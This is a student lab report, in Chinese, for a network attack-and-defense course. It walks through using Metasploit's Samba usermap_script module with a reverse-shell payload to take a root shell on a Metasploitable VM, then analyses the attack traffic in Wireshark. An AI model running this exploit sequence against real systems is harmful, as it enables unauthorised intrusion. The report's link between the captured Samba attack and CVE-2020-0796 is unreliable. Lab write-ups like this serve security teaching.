20211911 2021-2022-2 《网络攻防实践》实践七报告
1.实践内容
本周主要内容是Linux操作系统的网络攻防的相关知识和实践,Linux系统因为其稳定、开源等特性一直在服务器端占有超高的使用率,所以学习Linux系统的攻防实践也是必不可少的。
渗透测试
渗透测试,是为了证明网络防御按照预期计划正常运行而提供的一种机制。渗透测试并没有一个标准的定义,国外一些安全组织达成共识的通用说法是:
渗透测试是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法。
这个过程包括对系统的任何弱点、技术缺陷或漏洞的主动分析,这个分析是从一个攻击者可能存在的位置来进行的,并且从这个位置有条件主动利用安全漏洞。
Metasploit
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。
这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。
Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。
当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。
软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。
MS08-067漏洞
MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,
会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行。
2.实践过程
(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。
1.先通过namp进行查点,确定靶机的端口是打开的,使用指令namp 192.168.3.37
2.首先通过指令msfconsole打开metasploit命令行,出现如下图所示则表示正确。
3.使用指令info exploit/multi/samba/usermap_script,查看usermap_script安全漏洞的相关信息。
4.使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
使用指令search usermap和use 0进入该漏洞的配置界面。
5.通过 show payloads指令查看各个攻击模块。
6.使用指令set PAYLOAD 18将payloads设置为payload/cmd/unix/reverse。
7.使用命令set LHOST 192.168.11.120设置攻击机IP;使用命令set RHOST 192.168.11.132设置靶机IP。
8.输入exploit指令开始运行漏洞,并且输入ip addr指令查看是否渗透成功,如图显示为Metasploitable靶机的ip地址,可知渗透成功。
9.输入ifconfig指令查看靶机的ip
10.输入shell指令打开shell界面,输入whoami指令判断当前用户信息,发现其为root权限
(2)实践作业:攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
1.ping一下防守方
2.攻击过程类似如上实践,并打开wireshark
3.获得靶机使用权后, 输入进入shell界面,并输入whoami指令,发现此靶机已经获得root权限,攻击完成
4.通过wireshark分析攻击方的数据包,追踪TCP流可以发现攻击方所作的行为,进入shell后,输入了ls,id,whoami等指令。
5.通过这些数据报可以得知,攻击方ip为192.168.31.79,攻击端口为35823,靶机ip地址为192.168.31.26,端口为139。
6.可以查看攻击时间arp 29,2022 21:09:22
7.靶机端口号为139,查询一下可以得知为SMB/NetBIOS服务
8.查询得知,CVE-2020-0796漏洞公告显示,SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。
攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
3.学习中遇到的问题及解决
- 问题1:MSF5一切过程都很顺,到最后显示个Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).
- 问题1解决方案:在终端输入 “netstat -tulpen”,查看进程端口信息,命令”fuser -k 端口号/tcp“,删除4444端口进程
- 问题2:在攻击靶机时,ping不通;就算ping通了也没生成会话
- 问题2解决方案:双方选择桥接模式连通;对于会话产生的问题一个一个查询解决
4.实践总结
本次实践和上次实践有相似之处,值得学习和借鉴,但是在攻击自己电脑内的虚拟机就没啥问题,但是在攻击别人的时候屡屡报错,不生成会话,搞得有点烦躁。